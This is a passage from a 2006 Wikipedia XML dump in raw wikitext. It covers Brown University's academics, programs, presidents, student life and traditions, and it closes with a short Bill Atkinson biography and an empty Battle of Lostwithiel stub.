Recently, there has been some debate on reintroducing plus/minus grading to the curriculum.  Advocates argue that adding pluses and minuses would reduce grade inflation and allow professors to give more specific grades, while critics say that this plan would have no effect on grade inflation while increasing unnecessary competition among students and violating the principle of the New Curriculum.

The University is currently in the process of broadening and expanding its curricular offerings as part of the &quot;Plan for Academic Enrichment.&quot; The number of faculty has been greatly expanded. Seminars aimed at freshmen have begun to be offered widely by many departments.

==Academics, ranking, and reputation==
Admission to Brown is extremely competitive, with an admissions rate of 14.6%. Students come from all 50 [[U.S. state|state]]s, as well as 65 countries. Brown's [[financial aid]] program awards approximately $70 million each year in the form of scholarships, jobs, and loans. Over 50 percent of students receive some form of financial aid.

== Organization ==
=== The College ===
==== Concentrations ====
Brown offers over 100 [[List of academic disciplines|concentrations]] (majors) and around 2,000 courses each year. The most popular concentration is [[Biology]], followed by [[History]] and [[International Relations]]. Brown's undergraduate concentration in [[Bioethics|Biomedical Ethics]] is the oldest program in the subject in the country.  Undergraduates can also design an independent concentration if the existing standard programs do not befit their interests.

The following is a list of concentrations:
{|
| valign=&quot;top&quot; |
* [[Africa|Africana Studies]]
* [[American studies|American Civilization]]
* [[Ancient history|Ancient Studies]]
* [[Anthropology]]
* [[Anthropological linguistics|Anthropology-Linguistics]]
* [[Applied mathematics|Applied Mathematics]]
* [[Mathematical biology|Applied Mathematics-Biology]]
* [[Mathematical economics|Applied Mathematics-Economics]]
* [[Mathematical analysis|Applied Mathematics]]-[[Computation|Computer science]]
* [[Architecture|Architectural Studies]]
* [[Visual arts|Art]]-[[Semiotics]]
* [[Biochemistry]] and [[Molecular biology|Molecular Biology]]
* [[Biology]]
* [[Bioethics|Biomedical Ethics]]
* [[Biophysics]]
* [[Chemical physics|Chemical Physics]]
* [[Chemistry]]
* [[Classics]]:
** [[Classics]] (Standard Program)
** [[Latin|Latin]]
** [[Ancient Greek|Greek]]
** [[Ancient Greek|Greek]] and [[Latin]]
** [[Classics]] and [[Sanskrit]]
* [[Cognitive neuroscience|Cognitive Neuroscience]]
* [[Cognitive science|Cognitive Science]]
* [[Commerce]], [[Organizational studies|Organizations]], and [[Entrepreneurship]]:
** [[Business|Business Economics]]
** [[Organizational studies|Organizational Studies]]
** [[Entrepreneurship]] and [[Technology]] [[Management]]
* [[Public health|Community Health]]
* [[Comparative literature|Comparative Literature]]:
** [[Comparative literature|English and One Foreign Literature]]
** [[Comparative literature|English and Two Foreign Literatures]]
** [[Translation#Literary translation|Literary Translation]]
* [[Bioinformatics|Computational Biology]]
* [[Computer science|Computer Science]]
* [[Computer science|Computer Science]]-[[Economics]]
* [[Development studies|Development Studies]]
* [[East Asia|East Asian Studies]]
* [[Economics]]:
** [[Economics]]
** [[Business|Business Economics]] &lt;small&gt;(replaced by COE)&lt;/small&gt;
| valign=&quot;top&quot; |
* [[Education|Education Studies]]
* [[Egyptology]]
* [[Engineering]]:
** [[Biomedical engineering|Biomedical Engineering]]
** [[Chemical engineering|Chemical Engineering]]
** [[Civil engineering|Civil Engineering]]
** [[Computer engineering|Computer Engineering]]
** [[Electrical engineering|Electrical Engineering]]
** [[Materials engineering|Materials Engineering]]
** [[Mechanical engineering|Mechanical Engineering]]
* [[Engineering management|Engineering and Economics]] &lt;small&gt;(replaced by COE)&lt;/small&gt;
* [[Engineering physics|Engineering and Physics]]
* [[Environmental science|Environmental Science]]
* [[Environmental studies|Environmental Studies]]
* [[Ethnic studies|Ethnic Studies]]
* [[France|French Studies]]:
** [[France|French Civilization]]
** [[French literature|French Literature]]
** [[French language|French Language]]
* [[Gender studies|Gender Studies]]
* [[Geology|Geological Sciences]]
* [[Biogeology|Geology-Biology]]
* [[Geochemistry|Geology-Chemistry]]
* [[Geophysics|Geology-Physics/Mathematics]]
* [[German studies|German Studies]]
* [[Hispanic|Hispanic Studies]]:
** [[Spanish language|Hispanic Language]] and [[Linguistic history of Spanish|Linguistics]]
** [[Spanish literature|Hispanic Literature]] and [[Hispanic culture|Culture]]
* [[History]]
* [[History of art|History of Art]] and [[Architectural history|Architecture]]
* [[Human biology|Human Biology]]
* [[International relations|International Relations]]
* [[Italy|Italian Studies]]
* [[Jewish studies|Judaic Studies]]
* [[Early Middle Ages|Late Antique Cultures]]
* [[Latin America|Latin American Studies]]
* [[Linguistics]]
* [[Creative writing|Literary Arts]]
* [[English studies|Literatures and Cultures in English]]
* [[Marine biology|Marine Biology]]
* [[Mathematical economics|Mathematical Economics]]
* [[Mathematics]]
| valign=&quot;top&quot; |
* [[Computation|Mathematics-Computer Science]]
* [[Mathematical physics|Mathematics-Physics]]
* [[Middle Ages|Medieval Cultures]]
* [[Middle East|Middle East Studies]]
* [[Media studies|Modern Culture and Media]]
* [[Media studies|Modern Culture and Media]]-[[German studies|German]]
* [[Media studies|Modern Culture and Media]]-[[Italy|Italian]]
* [[Musicology|Music]]
** [[Music theory|Theory]], [[Music history|History]], and [[Musical composition|Composition]]
** [[Computer music|Computer Music]]
** [[Ethnomusicology]]
* [[Neuroscience]]
* [[Old World]] [[Archaeology]] and [[Visual arts|Art]]
* [[Philosophy]]:
** [[Philosophy]] (Standard Program)
** [[Ethics]] and [[Political philosophy|Political Philosophy]]
** [[Logic]] and [[Philosophy of science|Philosophy of Science]]
* [[Physics]]
* [[Political Science]]
* [[Portugal|Portuguese]] and [[Brazil|Brazilian Studies]]
* [[Psychology]]
* [[Public sector|Public]] and [[Private sector|Private Sector]] [[Organizations]] &lt;small&gt;(replaced by COE)&lt;/small&gt;
* [[Public policy|Public Policy and American Institutions]]
* [[Religious studies|Religious Studies]]
* [[Renaissance]] and [[Early modern Europe|Early Modern Studies]]
* [[Science and technology studies|Science and Society]]
* [[Semiotics]]-[[French language|French]]
* [[Gender and sexuality studies|Sexuality and Society]]
* [[Slavistics|Slavic Studies]]
* [[Sociology]]
* [[South Asia|South Asian Studies]]
* [[Statistics]]
* [[Theatre|Theatre Arts]]
* [[Urban studies|Urban Studies]]
* [[Visual arts|Visual Arts]]
|}

=== The Graduate School ===
==== Graduate programs ====
The Graduate School offers more than 50 different graduate programs:

{|
| valign=&quot;top&quot; |
* [[American studies|American Civilization]]
* [[Anthropology]]
* [[Applied mathematics|Applied Mathematics]]
* [[Archaeology]] and the [[Ancient history|Ancient World]]
* [[Biology]] and [[Medicine]]:
** [[Artificial organ|Artificial Organs]], [[Biomaterial]]s, and [[Cell (biology)|Cellular Technology]]
** [[Biostatistics]] and [[Epidemiology]]
** [[Ecology]] and [[Evolutionary biology|Evolutionary Biology]]
** [[Molecular biology|Molecular Biology]], [[Cell biology|Cell Biology]], and [[Biochemistry]]
** [[Pharmacology|Molecular Pharmacology]] and [[Physiology]]
** [[Pathology|Pathobiology]]
** [[Public health|Public Health]]
* [[Biomedical engineering|Biomedical Engineering]]
* [[Human brain|Brain Science]]
* Brown / [[Trinity Repertory Company|Trinity Repertory]] Consortium
* [[Chemistry]]
* [[Classics]]
* [[Cognitive science|Cognitive Science]]
* [[Comparative literature|Comparative Literature]]
* [[Computer science|Computer Science]]
| valign=&quot;top&quot; |
* [[Development studies|Development Studies]]
* [[Economics]]
* [[Education]]:
** [[Teacher education|Teacher Education]]
** [[Urban]] [[Education policy|Education Policy]]
* [[Egyptology]] and [[Ancient Near East|Ancient Western Asian Studies]]
* [[Engineering]]:
** [[Electrical engineering|Electrical Sciences]] and [[Computer engineering|Computer Engineering]]
** [[Fluid mechanics|Fluids]], [[Thermodynamics|Thermal]], and [[Chemical engineering|Chemical Process]]es
** [[Materials science|Materials Science]]
** [[Solid mechanics|Mechanics of Solids and Structures]]
* [[English language|English]]
* [[Environmental studies|Environmental Studies]]
* [[France|French Studies]]
* [[Geology|Geological Sciences]]
* [[German studies|German Studies]]
* [[Hispanic|Hispanic Studies]]
* [[History]]
* [[History of art|History of Art]] and [[Architectural history|Architecture]]
* [[History of mathematics|History of Mathematics]] &lt;small&gt;(admissions suspended)&lt;/small&gt;
| valign=&quot;top&quot; |
* [[Italy|Italian Studies]]
* [[Linguistics]]
* [[Creative writing|Literary Arts]]
* [[Mathematics]]
* [[Media studies|Modern Culture and Media]]
* [[Musicology|Music]]:
** [[Computer music|Electronic Music and Multimedia]]
** [[Ethnomusicology]]
* [[Neuroscience]]
* [[Philosophy]]
* [[Physics]]
* [[Political science|Political Science]]
* [[Portugal|Portuguese]] and [[Brazil|Brazilian Studies]]
* [[Psychology]]
* [[Public affairs|Public Affairs]] and [[Public policy|Public Policy]]
* [[Religious studies|Religious Studies]]
* [[Slavic languages|Slavic Languages]]
* [[Sociology]]
* [[Theatre]] and [[Performing arts|Performance Studies]]
|}

=== Brown Medical School ===
The University's [[Brown Medical School|medical program]] started in 1811, but the school was suspended by President Wayland in 1827. In 1975, the first [[Doctor of Medicine|M.D.]] degrees of the modern era were awarded to a graduating class of 58 students. In 1984, Brown endorsed an eight-year medical program called the [[Program in Liberal Medical Education]] (PLME). The majority of openings for the first-year medical school class are reserved for PLME students. Each year, approximately 60 students matriculate into the PLME out of an applicant pool of about 1,600.

In addition, Brown offers a joint program with [[Dartmouth Medical School]] called the Brown-Dartmouth Medical Program. Approximately 15 students at Dartmouth Medical School enroll in this program annually. They spend the first two basic medical science years at [[Dartmouth College|Dartmouth]] and the next two years in clinical education at Brown, where they receive their M.D. degree.  In June 2005, however, the deans of both schools announced that the Brown-Dartmouth program would accept its final class in the fall of 2006, stating that the institutions desired to move in their own directions.

Several other admission pathways exist.  The Early Identification Program (EIP) encourages Rhode Island residents to pursue careers in medicine by recruiting sophomores from [[Providence College]], [[Rhode Island College]], the [[University of Rhode Island]], and [[Tougaloo College]] to BMS.  In 2004, the school once again began to accept applications via the &quot;standard route&quot;, from pre-medical students at any [[college]] or [[university]].  For the Class of 2009, nine students were accepted via this route.

BMS also offers combined degree programs leading to the M.D./[[Doctor of Philosophy|Ph.D.]] or M.D./[[Master of Public Health|M.P.H.]] degrees.

=== Presidents of Brown University ===
{| border=&quot;0&quot; cellspacing=&quot;5&quot;
! align=&quot;left&quot; |
! align=&quot;left&quot; |President
! align=&quot;left&quot; |Brown Class
! align=&quot;left&quot; |Life
! align=&quot;left&quot; |Tenure
! align=&quot;left&quot; |Events
|-
|1. ||[[James Manning]] ||- ||1738-1791 ||1765-1791 ||Rhode Island College established
|- 
|2. ||[[Jonathan Maxcy]] ||1787 ||1768-1820 ||1792-1802 ||
|- 
|3. ||[[Asa Messer]]||1790 ||1769-1836 ||1802-1826 ||Renamed as Brown University; first Medical School founded
|- 
|4. ||[[Francis Wayland]] ||- ||1796-1865 ||1827-1855 || Med School Suspended
|- 
|5. ||[[Barnas Sears]]||1825 ||1802-1880 ||1855-1867 ||
|-  
|6. ||[[Alexis Caswell]]||1822 ||1799-1877 ||1868-1872 ||
|- 
|7. ||[[Ezekiel Gilman Robinson]]||1838 ||1815-1894 ||1872-1889 ||Graduate study instituted
|- 
|8. ||[[Elisha Benjamin Andrews]]||1870 ||1844-1917 ||1889-1898 ||Women's College founded
|- 
|9. ||[[William H.P. Faunce]]||1880 ||1859-1930 ||1899-1929 ||Women's College renamed to Pembroke College
|- 
|10. ||[[Clarence A. Barbour]]||1888 ||1867-1937 ||1929-1937 ||Last of long line of Baptist minister Presidents
|- 
|11. ||[[Henry M. Wriston]]||- ||1889-1978 ||1937-1955 ||
|- 
|12. ||[[Barnaby C. Keeney]]||- ||1914-1980 ||1955-1966 ||
|- 
|13. ||[[Ray L. Heffner]]||- ||1925- ||1966-1969 || New Curriculum passed
|- 
|14. ||[[Donald F. Hornig]]||- ||1920- ||1970-1976 ||Pembroke merged with Brown, Medical School founded
|- 
|15. ||[[Howard R. Swearer]] ||- ||1932-1991 ||1977-1988 ||
|- 
|16. ||[[Vartan Gregorian]]||- ||1934- ||1989-1997 ||
|- 
|17. ||[[Gordon Gee|E. Gordon Gee]] ||- ||1944-  ||1998-2000 ||
|- 
|18. ||[[Ruth J. Simmons]] ||- ||1945- ||2001- ||
|}

== Student life ==
=== Setting ===
Brown's campus is located atop College Hill, in the city's East Side neighborhood, across the Providence River from downtown Providence. The East Side is home to the largest remaining collection of historic [[Thirteen Colonies|colonial]] homes in the country.  The [[Thayer Street]] commercial strip is so well integrated into geographic area of Brown, that students often just consider it as part of the campus.  Also on the hill, but further to the south and away from the main campus area, is Wickenden Street, which offers another array of restaurants and bistros that students like to frequent.

=== Atmosphere ===
[[Princeton Review]] ranks Brown third among all American colleges for &quot;happiest students.&quot;[http://www.princetonreview.com/college/research/rankings/rankingDetails.asp?categoryID=6&amp;topicID=43]  Brown was recently named &quot;the most fashionable school in the Ivy League&quot; by the [[fashion]] trade journal ''Women's Wear Daily'' on the basis that students on campus seem to have the strongest sense of personal style. Students at Brown, as at most Ivies, lean [[left-wing politics|Left]] ([[American liberalism|liberal]]) on the [[Left-Right politics|Left-Right]] [[political spectrum]].

==== Nightlife ====	 
Brown is home to an active on-campus nightlife. A wide array of parties take place on the weekends, most of them in dorms and off-campus houses. Greek life is restricted to a fraction of the Brown student body, though they do take the spotlight during the annual Spring Weekend. Some parties, such as the Queer Alliance’s debauched [[SexPowerGod]] and [[Starf*ck (party)|Starf*ck]], are annual occurrences.

[[Image:Brown bears logo.jpg|right|Brown Bears]]
=== Athletics ===
Brown is a member of the [[National Collegiate Athletic Association]] (NCAA) [[Division I]] Ivy League athletic conference. It sponsors 37 [[varsity team|varsity]] intercollegiate teams. Its athletics program has been featured in the College Sports Honor Roll as one of the top 20 athletic programs in the country according to [[U.S. News &amp; World Report]]. [http://www.usnews.com/usnews/edu/college/sports/rankings/honor.htm] Brown also features several competitive intercollegiate club sports, including its nationally ranked [[sailing]], [[Taekwondo]]  and [[Ultimate (sport)|Ultimate]] teams.  In 2005, the men's ultimate frisbee team won the national championship, and the football team won its first-ever outright Ivy League title.

=== Student groups ===
There are approximately 240 [http://www.brown.edu/web/gab3/ registered student organizations] on campus with diverse interests. The Student Activities Fair, during the orientation program, is an opportunity for first-years to become acquainted with the wide range of clubs.  

==== Residential / Greek ====
9% of Brown students are in [[fraternity|fraternities]] and just over 1% are in [[sorority|sororities]]. There are eleven residential Greek houses: six all-male fraternities (Alpha Epsilon Pi, Delta Tau, Delta Phi, Theta Delta Chi, Sigma Chi, and Phi Kappa Psi), two sororities (Alpha Chi Omega and Kappa Alpha Theta), two co-ed fraternities (Delta Psi and [[Zeta Delta Xi]]), and a co-ed literary society (Alpha Delta Phi). All recognized Greek letter organizations live on-campus in University-owned dorm housing. Ten of the houses are overseen by the Greek Council and are located on Wriston Quadrangle. [[St. Anthony Hall]], a co-ed fraternity (Delta Psi) that does not participate in Greek Council, is located in King House. Greek letter organizations that &quot;discriminate on the basis of race&quot; are not sanctioned, forcing groups like the [[Alpha Phi Alpha|Alpha Phi Alpha Fraternity]], an [[African American]] fraternity, to operate off-campus.

An alternative to fraternity life at Brown are the program houses, which are organized around various themes. As with Greek houses, the existing residents of each house take applications from students returning for the fall semester. Examples of program houses include: Buxton International House, [[French language|French]]/[[Spanish language|Spanish]] House, Art House, Technology House, Environmental House and [[Interfaith]] House.

==== Secret societies ====
Like at most other Ivies, secret societies have existed at Brown since the mid-18th century.  They originated as literary clubs and organized disputes among their members, a forensic tradition that continues today in the [[Brown Debating Union]].  The first known literary society was Athenian at Queen's, founded in 1776, but this group disbanded by the mid-1780's.  The Philermenian Society (founded as the Misokosmian Society) arose in 1794. In reaction to the [[United States Federalist Party|Federalist]] Philermenians, a [[United States Democratic-Republican Party|Democratic-Republican]] society called the United Brothers Society was formed in 1806. In 1824 a third society, the Franklin Society, was formally recognized by the university president, and counted as honorary members [[Thomas Jefferson]], [[John Quincy Adams]], and [[Henry Clay]]. All of these societies had libraries and meeting rooms on the top floor of Hope College, and few written documents were preserved in order to protect against inter-society espionage. By the mid-19th century, these societies diminished on account of the growth in the number of [[Greek alphabet|Greek letter]] [[Fraternities and sororities|fraternities]]. In recent years, the Society of the Pacifica House has claimed to be the continuation of the Franklin Society and the sole remaining secret society at Brown, although this has not been verified.

== Traditions ==
[[Image:Van Wickle in snow.jpg|frame|right|The Van Wickle Gates, built in 1901, in the middle of a Providence winter.]]

Though the early history of Brown's traditions as a men's school includes a number of unusual [[hazing]] traditions, the University's present-day traditions tend to be non-violent while maintaining the spirit of zaniness ([http://www.browndailyherald.com/post/stories.asp?ID=84 Poulson 2004]).

=== Van Wickle Gates ===
The Van Wickle Gates, dedicated on [[June 18]], [[1901]], have a pair of center gates and a smaller gate on each side. The side gates remain open throughout the year, while the center gates remain closed except for two occasions each year. At the beginning of the academic year, the center gates open inward to admit students during Convocation. At the end of the second semester, the gates open outward for the Commencement Day procession. A traditional superstition is that students who pass through the gates for a second time before graduation do not graduate. Undergraduate members of the Brown Band who must pass through the gates during the Commencement ceremonies walk through it backwards. Formerly, the graduation superstition only applied to male students, as female students had their own fear of never marrying. Similar superstitions apply to the Pembroke seal on the stone steps leading to the Pembroke quad from Meeting Street, a holdover from when Pembroke College was a separate college for women. Another traditional superstition is that students rub the nose of the statue of [[John Hay]] in the John Hay Library for good luck on exams, a superstition that has been in effect since around 1910, resulting in a very shiny nose.

=== Josiah S. Carberry ===
One of Brown's most notable traditions is keeping alive the spirit and accomplishments of [[Josiah Carberry|Josiah S. Carberry]], the fictional Professor of Psychoceramics (the equally fictional study of cracked pots), who was born on a University Hall billboard in 1929. He is the namesake of &quot;Josiah's&quot;, a University-run snackbar. &quot;Josiah&quot; is also the name of the University's electronic library [http://josiah.brown.edu catalog]. Every [[Friday the 13th]] is &quot;Josiah Carberry Day&quot; and students throw pennies into cracked pots.

=== Spring Weekend ===
Starting in 1960, Brown replaced a traditional Junior Dance with a Spring Weekend concert on the college's main green, which has, in the past, brought in acts such as [[Ray Charles]], [[Bob Dylan]], [[Ella Fitzgerald]], [[James Brown (musician)|James Brown]], [[Janis Joplin]], [[Ike Turner|Ike]] and [[Tina Turner]], [[Blue Öyster Cult]], [[U2]], [[R.E.M. (band)|R.E.M.]], [[Elvis Costello]], [[A Tribe Called Quest]], [[George Clinton (funk musician)|George Clinton]], [[The Fugees]], [[Busta Rhymes]], and [[G. Love &amp; Special Sauce]]. Recent acts include [[They Might Be Giants]], [[Ben Harper]], [[The Get Up Kids]], [[The Roots]], [[The Wallflowers]], [[Béla Fleck and the Flecktones]], [[Jurassic 5]], [[Ben Folds]], [[Howie Day]], [[The Shins]], and [[Talib Kweli]]. This year's acts (academic year 2005-2006) will feature [[Wilco]] and [[Common]].

=== Other Campus Traditions ===
==== Naked donut run ====
At the end of each semester, usually on the night before the first day of exams (the last day of &quot;reading period&quot;), naked students walk (despite the word &quot;run&quot; in the name) through the Rockefeller and Sciences Libraries and hand out donuts to their peers.  Neither the organization nor the precise timing of the &quot;run&quot; are publicly known, with the recruitment of participants usually occurring within 24 hours of the actual run.  The role of head organizer is secretly passed from an upperclassman to an underclassman every year or two, and has usually been associated with one of the campus's co-ed fraternities or residential co-ops.  If a naked donut run fails to occur during a semester, a new organizer will often take up the tradition the following term.

==== Naked party ====
Every fall, the [[Brown Association for Cooperative Housing]] (BACH) throws an invitation-only &quot;naked party&quot; where all guests remove their clothes upon entry. The hosts aim to create a comfortable setting where people of all body types can celebrate the naked human body.  In contrast to the sexually suggestive dancing that can be found at many college parties, dancing at a &quot;naked party&quot; is paradoxically much more tame and devoid of physical contact.

==== Miscellaneous traditions ====
* Seniors sleep in the Sciences Library some time before graduation.
* Students have sex on the 13th floor of the Sciences Library. The restroom is usually used by all but the most adventuresome of students.
* Students attempt to complete the &quot;SciLi Challenge,&quot; a shot of liquor on each of the library's 14 floors.
* It is said that a student who enters all seven of the Brown libraries during his or her first year will never marry anyone of the opposite sex.

=== Brown songs ===
==== Alma Mater ====
The &quot;Alma Mater&quot; was written by James Andrews DeWolf (Class of 1861) in 1860, who named it &quot;Old Brown&quot; and set it to the tune of &quot;[[1822 in music|Araby's Daughter]]&quot; (which was later known as &quot;[[Samuel Woodworth|The Old Oaken Bucket]]&quot;). The song was renamed &quot;Alma Mater&quot;, after the [[incipit]], in 1869.{{ref|almamater}} It is sung and played after varsity athletic victories and at formal events such as Convocation and Commencement.

::Alma Mater! we hail thee with loyal devotion,
::And bring to thine altar our off'ring of praise;
::Our hearts swell within us, with joyful emotion,
::As the name of old Brown in loud chorus we raise.
::The happiest moments of youth's fleeting hours,
::We've passed, 'neath the shade of these time-honored walls,
::And sorrows as transient as April's brief showers
::Have clouded our life in Brunonia's halls.

::And when we depart from thy friendly protection,
::And boldly launch out upon life's stormy main,
::We'll oft look behind us, with grateful affection,
::And live our bright college days over again.
::When from youth we have journeyed to manhood's high station,
::And hopeful young scions around us have grown,
::We'll send them, with love and deep veneration,
::As pilgrims devout, to the shrine of Old Brown.

::And when life's golden autumn with winter is blending,
::And brows, now so radiant, are furrowed by care;
::When the blightings of age on our heads are descending.
::With no early friends all our sorrows to share; -
::Oh! then, as in memory backward we wander,
::And roam the long vista of past years adown,
::On the scenes of our student life often we'll ponder,
::And smile, as we murmur the name of Old Brown.

==== Ever True To Brown ====
Brown's official fight song &quot;Ever True To Brown&quot; was written by Donald Jackson (Class of 1909). The song is played by the Brown Band at varsity athletic events. The unofficial version is alternately played by the Band as well.

{|
! width=&quot;40&quot; |
! align=&quot;left&quot; width=&quot;225&quot; | Traditional version
! align=&quot;left&quot; width=&quot;300&quot; | Unofficial version
|-
|
| valign=&quot;top&quot; |
We are ever true to Brown,&lt;br /&gt;
For we love our college dear,&lt;br /&gt;
And wherever we may go,&lt;br /&gt;
We are ready with a cheer,&lt;br /&gt;
And the people always say,&lt;br /&gt;
That you can't outshine Brown Men,&lt;br /&gt;
With their Rah! Rah! Rah!&lt;br /&gt;
And their Ki! Yi! Yi!&lt;br /&gt;
And their B-R-O-double U-N!
| valign=&quot;top&quot; |
We are ever true to Brown,&lt;br /&gt;
For we love our college dear,&lt;br /&gt;
And wherever we may go, (Where are we going?)&lt;br /&gt;
We are ready with a beer,&lt;br /&gt;
And the people always say, (What do they say?)&lt;br /&gt;
That you can't outdrink Brown Men, (and Women!)&lt;br /&gt;
With a scotch and rye,&lt;br /&gt;
And a whiskey dry,&lt;br /&gt;
And a B-O-U-R-B-O-N!&lt;br /&gt;
|}

== Computing projects ==
Several projects of note involving hypertext and other forms of electronic text have been developed at Brown, including:
* [[BrainGate]]
* [[FRESS]]
* [[Hypertext Editing System]]
* [[Women Writers Project]]

In addition, the Computer Science department at Brown is home to [[Cave Automatic Virtual Environment|The CAVE]], part of the [[Thomas J. Watson, Sr. Center for Information Technology]].  This project is a complete virtual reality room, one of few in the world, and is used for everything from three-dimensional drawing classes to tours of the [[circulatory system]] for medical students.

== Notable alumni and faculty ==
''See [[List of Brown University people]].''

== Trivia ==
* The John Hay library contains three books bound in human skin: a 1568 edition of [[Andreas Vesalius|Vesalius]]' ''De Humani Corporis Fabrica'' and two 19th century editions of &quot;The Dance of Death,&quot; a medieval morality tale. According to Associated Press reporter M.L. Johnson, other large university libraries also have such volumes, and quotes a rare book cataloger as saying that while the idea of making leather from human skin seems bizarre and cruel today, it was not uncommon in centuries past.{{ref|skin}}



==References==
#{{note|WalterCBrunson}}{{note label|WalterCBrunson|1|}} {{cite book 
 | author=Brunson, Walter C.
 | title=The History of Brown University, 1764-1914
 | year=1972
 | pages=p. 500
 }}
*{{note|eb1911}}''Encyclopedia Britannica,'' 1911, 11th edition, vol 22(POL-RHE), p. 511c. [http://encyclopedia.jrank.org/PRE_PYR/PROVIDENCE.html]&lt;!--Verified against print edition--p. 511c--dpbsmith---&gt;: (Makeup of board, 22 Baptists, etc. No religious tests for admission. &quot;Considered extraordinary liberal.&quot;)
* Howell, Ricardo (2001, July). &quot;Slavery, the Brown Family of Providence and Brown University.&quot; ''Brown University News Service''. Retrieved [[April 27]], [[2004]] from http://www.brown.edu/Administration/News_Bureau/Info/Slavery.html.
* Perkins, Sara (2004, April 19). &quot;Fashion Journal likes what Brown is wearing.&quot; ''The Brown Daily Herald''. Retrieved [[June 29]], [[2004]] from http://www.browndailyherald.com/stories.asp?storyID=2869.
* Poulson, Dan (2001, March 1). &quot;Investigating the death of campus traditions.&quot; ''The Brown Daily Herald''. Retrieved [[June 29]], [[2004]] from http://www.browndailyherald.com/post/stories.asp?ID=84.
* {{note|skin}} Johnson, M.L., &quot;Some of nation's best libraries have books bound in human skin,&quot; Associated Press, [[January 7th]], [[2006]], [http://www.boston.com/news/local/rhode_island/articles/2006/01/07/some_of_nations_best_libraries_have_books_bound_in_human_skin/?p1=MEWell_Pos1], [http://www.qando.net/details.aspx?Entry=3208], [http://www.thewbalchannel.com/news/5890916/detail.html], [http://www.wfsb.com/Global/story.asp?S=4332152], [http://www.zwire.com/site/news.cfm?newsid=15884032&amp;BRD=2212&amp;PAG=461&amp;dept_id=465812&amp;rfi=6] &lt;!--Multiple links to identical story, hopefully some of them will last more than a couple of days---&gt;
* {{note|almamater}} Mitchell, Martha. &quot;[http://www.brown.edu/Administration/News_Bureau/Databases/Encyclopedia/search.php?serial=A0170 Alma Mater]&quot;. ''Encyclopedia Brunoniana''. 2003.

==See also==
* [[Brown ACLU]]
* ''[[Brown Daily Herald]]''
* [[Brown Debating Union]]
* [[Brown Medical School]]
* [[Brown Stadium]]
* ''[[Critical Review]]''
* [[Ivy League]]
* [[Program in Liberal Medical Education]]
* [[Haffenreffer Museum of Anthropology]]
* [[Undergraduate Council of Students]]
* [[Undergraduate Finance Board]]
* [[Watson Institute for International Studies]]
* [[WBRU]] - a commercial radio station based on campus and run by Brown students.

==External links==
* [http://www.brown.edu/ Brown University]
* [http://gradschool.brown.edu/ Brown Graduate School]
* [http://bms.brown.edu/ Brown Medical School]
* [http://brownbears.collegesports.com/ Official Brown athletics site]
* [http://www.browndailyherald.com/ ''The Brown Daily Herald'' student newspaper]
* [http://www.brown.edu/Students/INDY/ ''The College Hill Independent'' student newspaper]
* [http://www.brown.edu/Students/Critical_Review/ ''The Critical Review'' undergraduate academic guide]
* [http://www.brown.edu/Administration/News_Bureau/Databases/Encyclopedia/ ''Encyclopedia Brunoniana'']
{{Mapit-US-buildingscale|41.826839|-71.401262}}
** Official campus maps:
*** Welcome Map in [http://fm-cad.plantops.brown.edu/482840841/Welcome_8.5x11.pdf PDF] or [http://fm-cad.plantops.brown.edu/482840841/Welcome_8.5x11.jpg JPEG] format
*** Visitor Map in [http://fm-cad.plantops.brown.edu/482840841/PAUR_Campus_Map.pdf PDF] format

{{Ivy_League}}
{{ECAC Hockey League}}


[[Category:Association of American Universities]]
[[Category:Brown University]]
[[Category:Colonial colleges]]
[[Category:Ivy League]]
[[Category:Educational institutions established in the 18th century]]
[[Category:Space-grant universities]]
[[Category:Universities and colleges in Rhode Island]]
[[Category:1764 establishments]]

[[de:Brown University]]
[[fr:Université Brown]]
[[ko:브라운 대학교]]
[[ka:ბრაუნის უნივერსიტეტი]]
[[ja:ブラウン大学]]
[[pt:Universidade de Brown]]
[[ru:Браунский университет]]
[[sv:Brown University]]
[[zh:布朗大学]]</text>
    </revision>
  </page>
  <page>
    <title>Bill Atkinson</title>
    <id>4158</id>
    <revision>
      <id>38845511</id>
      <timestamp>2006-02-09T00:33:31Z</timestamp>
      <contributor>
        <username>Angelic Wraith</username>
        <id>136463</id>
      </contributor>
      <minor />
      <comment>he joined Apple in '78.</comment>
      <text xml:space="preserve">'''Bill Atkinson''' worked at [[Apple Computer]] from [[1978]] to early [[1980s]]. He received his undergraduate degree from the [[University of California, San Diego]], where [[Apple Macintosh]] [[visionary]] [[Jef Raskin]] was one of his professors. Atkinson continued his studies as a graduate student at the [[University of Washington]].

He designed and implemented [[HyperCard]], the first popular [[hypertext]] system. Atkinson was also part of the [[Apple Macintosh]] development team and was the creator of the ground-breaking [[MacPaint]] application, among others. Atkinson also designed and implemented [[QuickDraw]], the fundamental toolbox that the Macintosh used for graphics. QuickDraw's performance was essential for the success of the Macintosh's [[graphical user interface]].

Around [[1990]], [[General Magic]] was founded and Bill Atkinson was one of the three co-founders.
&lt;blockquote&gt;The obstacles to General Magic's success may appear daunting, but General Magic is not your typical start-up company. Its partners include some of the biggest players in the worlds of computing, communications, and consumer electronics, and it's loaded with top-notch engineers who have been given a clean slate to reinvent traditional approaches to ubiquitous worldwide communications. ([http://www.byte.com/art/9402/sec3/art1.htm Source]) &lt;/blockquote&gt; 

[[As of 2002]], he was involved full-time in fine-art [[digital photography|digital]] [[nature photography]]. Some of his [[photograph]]s are available as [[e-cards]] in the &quot;iCards&quot; section of the [[.Mac]].

Some of Atkinson's noteworthy contributions to the field of computing include:
* Macintosh [[QuickDraw]] and Lisa [[LisaGraf]]
* [[Marching ants]]
* The [[Selection lasso]]
* [[Fat bits]]
* [[HyperCard]]

==External links==
* [http://www.billatkinson.com/Homepage.pl Bill Atkinson Photography]
* [http://www.billatkinson.com/aboutTheArtist.html About Bill Atkinson]
* [http://folklore.org/ProjectView.py?project=Macintosh&amp;characters=Bill%20Atkinson&amp;detail=medium Folklore.org anecdotes about Bill Atkinson]

{{compu-bio-stub}}

[[Category:Apple employees|Atkinson, Bill]]
[[Category:University of Washington alumni]]

[[de:Bill Atkinson]]
[[fr:Bill Atkinson]]
[[it:Bill Atkinson]]
[[nl:Bill Atkinson]]
[[ja:ビル・アトキンソン]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Lostwithiel</title>
    <id>4160</id>
    <revision>
      <id>39857533</id>
      <timestamp>2006-02-16T09:28:58Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>/* Second Battle of Lostwithiel, 1644 */</comment>
      <text xml:space="preserve">There were two '''Battles of Lostwithiel''', both in the 1640s.

===First Battle of Lostwithiel, 1642===


===Second Battle of Lostwithiel, 1644===

